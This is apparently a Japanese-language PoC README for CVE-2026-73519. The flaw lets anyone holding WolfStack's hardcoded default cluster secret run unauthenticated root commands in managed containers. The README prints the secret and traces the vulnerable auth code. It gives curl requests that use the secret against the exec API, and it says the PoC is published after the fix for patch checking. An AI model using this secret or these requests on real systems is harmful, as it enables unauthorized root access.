
CVE-2026-73519 の PoC - WolfStack のハードコードされたクラスタシークレットによる未認証 RCE(CVSS 9.8)
WolfStack に存在するハードコード済みデフォルト認証シークレットの PoC です。これにより、リモートの非認証攻撃者が管理下の任意の Docker/LXC コンテナ内で root として任意のコマンドを実行できます。
| CVE | CVE-2026-73519 |
| CNA | VulnCheck |
| Advisory | GHSA-r3mw-2wmq-j6jg · VulnCheck writeup |
| CVSS 3.1 | 9.8 Critical — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| CWE | CWE-798 (ハードコード済み資格情報), CWE-306 (重要な機能に対する認証の欠如) |
| 影響を受けるバージョン | v25.9.0 以前 / インストール毎のシークレット移行が完了していない任意のノード |
| 修正済みバージョン | v25.9.2 / v25.9.3 |
| クレジット | Dostxodjayev Abdullox (@squeeze440) |
src/auth/mod.rs:32 には、すべての WolfStack ビルドに埋め込まれた単一のハードコード済みシークレットが同梱されています:
const CLUSTER_SECRET: &str = "wsk_a7f3b9e2c1d4f6a8b0e3d5c7f9a1b3d5e7f9a1c3b5d7e9f0a2b4c6d8e0f1a3";
auth::default_secret_accepted() (src/auth/mod.rs:430-460) は、オペレーターが明示的にオプトアウトしている (WOLFSTACK_REJECT_DEFAULT_SECRET=1) か、既にカスタムシークレットにローテーションしている場合を除き、この定数をデフォルトで有効な資格情報として受け入れます。REST API 全体を保護する唯一のゲートである api::require_auth() (src/api/mod.rs:518-535) は、一致する X-WolfStack-Secret ヘッダーを伴うリクエストを完全に認証済みとして扱います — セッションも API キーもアカウントも不要です。
このゲートは POST /api/containers/{runtime}/{id}/exec (src/api/mod.rs:7145-7167) を保護しており、呼び出し元が指定したコマンド文字列を対象コンテナ内でそのまま実行します。公開ソース(またはこのリポジトリ)を読んだ人は誰でも、信頼されたクラスターピアとして認証され、ノードが管理する任意のコンテナ内で root として任意のコマンドを実行できます。
今回のリリースサイクルで追加されたインストール毎のシークレット自動生成は、シークレットファイルが存在せず、かつ記録されたピアもないノードでのみ発動します (src/auth/mod.rs:250-261)。アップグレードされたノード、文書化された起動時レースに該当するノード、または設定パスが書き込み不可能なノードは、ログ行による警告のみで、共有デフォルトのまま無期限に留まります。
TARGET と CONTAINER を、テストを許可された WolfStack インスタンスとコンテナに指定し、次を実行します:
./poc.sh http://TARGET:8553 CONTAINER_NAME
または手動で:
# 非認証 — 拒否される
curl -s -X POST http://TARGET:8553/api/containers/docker/CONTAINER_NAME/exec \
-H "Content-Type: application/json" -d '{"command":"whoami"}'
# -> {"error":"Not authenticated"} HTTP 401
# src/auth/mod.rs:32 のハードコード済みシークレット — ログインなしで root として完全な RCE
curl -s -X POST http://TARGET:8553/api/containers/docker/CONTAINER_NAME/exec \
-H "Content-Type: application/json" \
-H "X-WolfStack-Secret: wsk_a7f3b9e2c1d4f6a8b0e3d5c7f9a1b3d5e7f9a1c3b5d7e9f0a2b4c6d8e0f1a3" \
-d '{"command":"id; hostname"}'
# -> {"exit_code":0,"ok":true,"stdout":"uid=0(root) gid=0(root) ...\n<container-id>\n"} HTTP 200

チェックサム検証済みの正規の v25.9.0 リリースバイナリ (sha256 82aab42b6ab17a146aa5a108f090b15c6c4bee8159f67e735deb533a437c207c) と、対象として実際の alpine:latest コンテナを使用して検証済みです。応答出力に含まれるコンテナ ID は、被害ホスト上の docker ps の結果と一致します。
/api/containers/docker, /api/containers/lxc)。require_auth で保護されたルート (ピア/ノード管理、バックアップなど) にも到達します — この PoC は最も明確な影響としてコンテナ exec シンクを対象にしており、網羅的なリストではありません。v25.9.2 以降にアップグレードしてください。メンテナーはデフォルトシークレットの受け入れをデフォルト拒否に変更し、既存インストール向けの強制ローテーションパスを追加しました。
修正のリリースと CVE 割り当ての後に、防御/教育目的で公開されています — 自社のインフラストラクチャ上でパッチ適用状況を確認するためです。所有していないシステム、または明示的なテスト許可がないシステムに対してこれを実行しないでください。